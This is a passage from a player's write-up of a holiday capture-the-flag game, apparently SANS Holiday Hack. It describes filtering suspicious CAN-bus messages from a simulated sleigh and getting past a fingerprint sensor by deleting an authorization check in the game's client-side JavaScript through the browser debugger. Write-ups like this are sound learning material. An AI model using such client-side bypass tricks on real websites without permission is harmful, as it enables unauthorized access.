> 244 – Acceleration – Excluded 000000000000
- Next, with everything stopped, I start increasing the brake value. I noticed the
080
values increasing and decreasing as I changed the values. Moved it back to 0 and excluded it.
> 080 – Brakes – Excluded 000000000000
- For the steering, same thing. Started increasing the value slowly and monitoring change.
019
seems to be responsible for it based on the increasing message value. Reduced it to the0
and expect all values to be zero at this point.
> 019 – steering – Excluded 000000000000
- Next, I click on the Lock values and monitor the messages. Initially, I do not notice anything substancial but then, I decided to clock the lock faster so that the values can pop up together. Noted that
19B
with all zeros is responsible for theLock
.
> 19B – Lock – Excluded 000000000000
- Same tactic I used for the
Lock
, I attempt on theUnlock
. Clicking fast so as to generate a load of them together. Noted that19B
starting with00000F
is responsible for theunlock
. Excluded that value.
> 19B – Lock – Excluded 00000F000000
- Same tactic for the
start
. Click quickly and see what values pop up most.244
is the CAN-D ID responsible. With a speed of around1000 RPM
, values containing00000003..
> 244 – start – Excluded contains 00000003
- Same attempt done on
stop
as with thestart
button. Clicking it quickly several times shows that the code for stop is244
with values of all zeros.
> 244 – stop – Excluded 000000000000
With those values excluded, I see two recurring which I believe have nothing to do with the car and thus malicious.
> 188 – 00000000 – Excluded 000000000000 > 19B – 0000000F2057 – Excluded 0000000F2057
- I then remove the valid values from the list and leave the two I suspect to be invalid, however, nothing happens. Achievement does not unlock.
Going back to the Elf’s hints, he mentioned the issue was with the brakes and the lock. From the two codes I deem invalid, I have one that is a lock 19B
and the other 188
, I do not know. None is for the brakes! Repeating the brakes test, I increase the value gradually and this time, notice that there are some weird FFFF.
values generated at the same time as the increasing 0000..
values for CAN-D ID 180
.
I therefore exclude the invalid brake value in addition to the invalid lock value. The sleigh is defrosted!
> 080 – brakes – contains FFFFF > 19B – 0000000F2057 – Excluded 0000000F2057
With the sleigh defrosted, challenge resolved.
Objective 8: Broken Tag Generator [TBD]
Attempted but not finished yet.
Objective 9: ARP Shenanigans [TBD]
Attempted but not finished yet.
Santavator – Santa’s Office
To get to Santa’s office, we need to bypass the fingerprint authentication mechanism in the santavator.
Objective 10: Defeat Fingerprint Sensor

Let’s go back to the Santavator
and attempt to bypass the FingerPrint
scanner needed to enter Santa’s office. I managed to align the objects as below to ensure that the three coloured streams are light up.
I impersonate Santa
and go into the elevator. Am able to access his floor. Looking at Chrome Developer Tools > Console
, I notice there seems to be a value set whenever I interact as Santa with my badge.
user effects: ["besanta"]
Knowing that. I teleport back and change to self. Then head back to the Santavator
. I notice that the Console output shows me without any user effects.
Knowing that, I know I need to debug the Javascript. For that, under Chrome Developer Tools > Source
, I turn on Event Listener on click just before I click on the fingerprint as advised here.
The program posses at that action.
The interesting snippet of the code is shown below.
cover.addEventListener('click', () => {
if (btn4.classList.contains('powered') && hasToken('besanta')) {
$.ajax({
type: 'POST',
url: POST_URL,
dataType: 'json',
contentType: 'application/json',
data: JSON.stringify({
targetFloor: '3',
id: getParams.id,
}),
success: (res, status) => {
if (res.hash) {
__POST_RESULTS__({
resourceId: getParams.id || '1111',
hash: res.hash,
action: 'goToFloor-3',
});
}
}
});
} else {
__SEND_MSG__({
type: 'sfx',
filename: 'error.mp3',
});
}
The part that we hit when we are not santa is this one. I editted this first part out.
{
if (btn4.classList.contains('powered') && hasToken('besanta'))
Followed by the else
clause.
else {
__SEND_MSG__({
type: 'sfx',
filename: 'error.mp3',
});
}
With these two parts gone. I save the config and continue execution of the script. That gets me into Santa’s office!
Santa’s Office
Conversation with Tinsel Upatree
Elf Tinsel Upatree
is in Santa’s office so I walk over and talk to him. He mentions that breaking into Santa’s office can get you in the wrong side of the Naughty Nice list.
I attempt to review the Naughty/ Nice list but it is only for Santa and Elf Ethicists so let’s teleport and become Santa. As santa, I am able to download the blockchain.dat
file. I also have access to Santa's Balcony
where Elf Eve Snowshoes
is. Other than a "hey Santa", I do not get anything else from him.
Objective 11a: Naughty/Nice List with Blockchain Investigation Part 1 [TBD]
Did not attempt this one by deadline date.
Objective 11b: Naughty/Nice List with Blockchain Investigation Part 2 [TBD]
Did not attempt this one by deadline date.
Summary
By the writeup deadline, I have only finished 8 of the 12 objectives and 10.5 of the 13 elf tasks. I will update the writeup with solutions once I get a change to review those that I did not attempt or could not go on.